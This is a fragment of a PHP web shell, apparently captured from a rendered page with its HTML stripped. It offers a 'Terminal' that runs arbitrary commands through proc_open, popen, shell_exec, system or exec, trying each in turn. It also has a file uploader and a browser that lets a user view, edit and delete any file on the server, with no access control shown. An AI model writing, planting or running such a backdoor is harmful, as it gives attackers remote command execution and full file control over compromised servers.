Server
User
PHP
Terminal
'; if(function_exists("proc_open")){ $p=proc_open($c,array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w")),$pp); echo htmlspecialchars(stream_get_contents($pp[1])); fclose($pp[0]);fclose($pp[1]);fclose($pp[2]);proc_close($p); } elseif(function_exists("popen")){ $h=popen($c,"r");while(!feof($h)){echo htmlspecialchars(fread($h,4096));}pclose($h); } elseif(function_exists("shell_exec")){echo htmlspecialchars(shell_exec($c)); } elseif(function_exists("system")){system($c); } elseif(function_exists("exec")){exec($c,$o);echo htmlspecialchars(implode("\n",$o)); } else{echo "NO_EXEC";} echo '
'; } ?>
Upload
Uploaded: '.htmlspecialchars($_FILES["f"]["name"]).'
'; } else { echo '
Upload failed
'; } } ?>
Files:
$p){ if($p===""){$cum="/";echo '/';continue;} $cum .= ($cum==="/" ? "" : "/").$p; echo '/'.htmlspecialchars($p).''; } ?>
View: '.htmlspecialchars(basename($item)).'
'; echo '
'.htmlspecialchars(@file_get_contents($item)).'
'; } if(isset($_REQUEST["action"]) && $_REQUEST["action"]==="edit" && file_exists($item)){ if(isset($_POST["content"])){ @file_put_contents($item,$_POST["content"]); echo '
Saved!
'; } echo '
Edit: '.htmlspecialchars(basename($item)).'
'; echo '


'; echo '
'; } if(isset($_REQUEST["action"]) && $_REQUEST["action"]==="delete" && file_exists($item)){ @unlink($item); echo '
Deleted: '.htmlspecialchars(basename($item)).'
'; } } $items = @scandir($pwd); if($items){ echo ''; foreach($items as $f){ if($f==="." || $f==="..") continue; $fp = $pwd."/".$f; $is_dir = is_dir($fp); $sz = $is_dir ? "-" : @filesize($fp); $sz_str = $is_dir ? "-" : ($sz>1048576?round($sz/1048576,1)."M":($sz>1024?round($sz/1024,1)."K":$sz."B")); $ap = "?path=".urlencode($pwd); if($is_dir){ echo ''; } else { echo ''; } } echo '
NameSizeActions
'.htmlspecialchars($f).'/--
'.htmlspecialchars($f).''.$sz_str.''; echo 'View '; echo 'Edit '; echo 'Del'; echo '
'; } ?>